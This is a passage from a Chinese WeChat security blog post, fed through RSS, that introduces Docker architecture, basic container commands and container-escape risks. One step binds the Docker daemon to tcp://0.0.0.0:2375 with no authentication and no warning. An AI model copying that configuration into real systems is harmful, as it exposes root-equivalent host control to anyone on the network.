<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6ee0117c&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489540%26idx%3D1%26sn%3D6a226fdf7d0f5bc0c1d4dc0ea8756cd9">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 07 Jun 2023 08:10:00 +0800</pubDate>
    </item>
    <item>
      <title>docker安全实战2: 揭秘docker架构</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489534&amp;idx=1&amp;sn=d4624026f3fe84c3d0d5057b53a13d64</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-06-06 08:04</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8da09543&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuIWVKXiapOoND1NcRyvJulnKahEsTiaHuYpZogQicazv38JgHvn6GBMicww%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;overflow-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">如今 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 是一个新的流行词，每个人都希望将他们的应用程序部署在 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 容器上。尽管市场上有很多容器化工具，但文章会更多地谈论 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p>，因为它在所有工具中都很流行。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在这篇文章中，将从信息安全的角度讨论所需的容器基础知识。</p><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">容器化与虚拟化</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">传统上，为了隔离开发和部署过程，开发人员使用硬件级隔离技术，即虚拟化技术。在这种情况下，新的<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">hypervisor</p>层位于主机之上以提供硬件级隔离。因为任何人都可以在主主机上运行多个操作系统， 所以它变得流行起来。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在虚拟化中，两个或多个操作系统与正在运行的主机是完全隔离的，这意味着一个操作系统不知道另一个操作系统的进程，甚至 CPU 和内存也是隔离的。整个事情由<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">hypervisor</p>管理。只有在<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">hypervisor</p>中存在漏洞才有可能突破虚拟化。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="437" data-backw="558" data-ratio="0.78375" data-type="png" data-w="800" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c4038361&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4Vl5WN8KIx0eUKlDkypMZ9LWPYnkMbkrRnxTleDTIfr5lYBSM0ibcB17mA%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">由于虚拟化技术非常耗费资源，并且<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">guest</p>操作系统启动时间会增加部署开销，因此在部署中通常不鼓励使用这种技术，但在开发过程中通常会鼓励使用这种技术，用来防止与库发生冲突。另一方面，容器化消除了流程中的资源匮乏和启动时间开销。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">当在操作系统中安装容器化引擎时，它也会像虚拟化一样在操作系统之上设置一个容器化层，但提供<strong style="color: rgb(119, 48, 152);">操作系统</strong>级别的隔离，例如，使用相同的 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CPU</p> 和内存，但运行在相同操作系统中的容器是隔离并且只有在创建时或通过网络（如 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ssh</p> 和 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">FTP</p> 等服务）进行配置时才能进行交互。由于它为应用程序提供快速启动时间，因此它用于提供零停机应用程序重新部署，这通常在开发人员将新功能推向生产时完成。在这种情况下，容器将只使用应用程序及其依赖项所需的资源，这种方法广泛用于同一操作系统中应用程序的弹性升缩，而不会浪费很多资源。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">如果使用默认配置部署容器，它是安全的，但如果有人加载了 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 套接字或其他<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">linux</p>能力，则攻击者可以轻松突破容器以读取主机文件系统。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">简而言之，在虚拟化中，每个<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">guest</p>操作系统都使用自己的内核，并且该内核再次使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">hypervisor</p>模拟的硬件来运行系统和应用程序。在容器化的情况下，每个容器都由<strong style="color: rgb(119, 48, 152);">容器运行时</strong>隔离，并使用宿主机的内核。在这种情况下，隔离是通过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pivot root</p> 和 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">chroot</p> 的组合来完成的。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">与 Docker 交互</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">默认情况下，<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 暴露一个 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Unix Domain Socket</p>。需要通过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p> 用户运行 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p>命令行或将 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 组添加到当前用户</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">usermod -aG docker <span style="color: #BD63C5;line-height: 26px;">$USER</span>newgrp docker</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">将自己添加到 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 组后，最好重新启动 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 服务</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">sudo systemctl restart docker.service</p></pre><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">拉取镜像和创建容器</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">首先，使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pull</p> 命令从远程 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 仓库中拉取 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 镜像</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="241" data-backw="558" data-ratio="0.43107769423558895" data-type="png" data-w="798" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ee62d8a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VltuEWNeMPNpy7iadp32E5cvGu4KCs0feBCZYoO4uJwSlLhGhZ0DIJDSA%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">一旦从远程 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 仓库中提取镜像，可以在本地主机中随意使用它，而无需使用互联网访问。为了确保它是否存在于本地系统中，可以使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">images</p> 命令列出所有可用的镜像</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="69" data-backw="558" data-ratio="0.12437810945273632" data-type="png" data-w="804" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7d6442fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlCRygq1L75QELlj4amH1icTw5EgbvBE0ibNvzgB4mocPqmZrtDwqIEelg%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">镜像的默认标签是最新的。一个镜像可以有多个标签，它主要用于镜像的版本控制。您现在可以通过其名称（在存储库列下）或镜像 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ID</p> 引用此镜像</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">要创建 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 容器，需要使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">create</p> 命令，然后使用帮助文档中所述的带有适当参数的镜像引用。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">执行完毕，该命令将提供容器的 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ID</p>。可以使用带有 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">-a</p> 选项的容器 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ls</p> 命令来确认此操作，以列出所有容器</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="66" data-backw="558" data-ratio="0.1175925925925926" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5e7ef8d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlHalaFZfZ5IcjvglF43TzNXYw0qBS99HEPzfwSSgrnCPFw5NDLOicXYw%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">现在使用创建时设置的名称启动容器了。也可以使用其 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ID</p> 执行此操作，但为方便起见，使用名称。为确保其运行状态，稍后可以使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ps</p>命令和<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">logs</p>命令从标准错误或标准输出中获取输出</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="130" data-backw="558" data-ratio="0.23333333333333334" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5c368385&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlAHwRymIIJB0iay2pbXYt9th0pVJPiaU8Mx3LIM5ZibcKc1nARvO5aBxJQ%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用带有 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">-i</p> 标志的 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">curl</p> 命令通过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">localhost</p> 1337 端口向 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">flask</p> 服务器发出请求。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="198" data-backw="462" data-ratio="0.42857142857142855" data-type="png" data-w="462" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=bb8f0754&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4Vl8Pn3VI6jTzba3rPKPiaAOFbOrDOwKzqhC4WicoDdj45lyMEhNod1J2vw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">使用 Docker命令行和 TCP socket</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">需要先在 docker 中启用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TCP</p> 网络。这可以通过编辑 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker systemd</p> 服务文件来完成。如下所示更新服务文件，然后在使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">systemctl daemon-reload</p> 重新加载服务配置后</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">- ExecStart=/usr/bin/dockerd -H fd://+ ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">要使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TCP socket</p>，需要通过将 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">DOCKER_HOST</p> 环境变量设置为 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">tcp://127.0.0.1:2375</p> 来明确告诉 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p></div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="558" data-ratio="0.3611111111111111" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=62cf066e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlDqI5BknSoOPqibG92DWgkJicW0Mk4NfojRa5Libq8e2J878JFLcIiafxHg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: 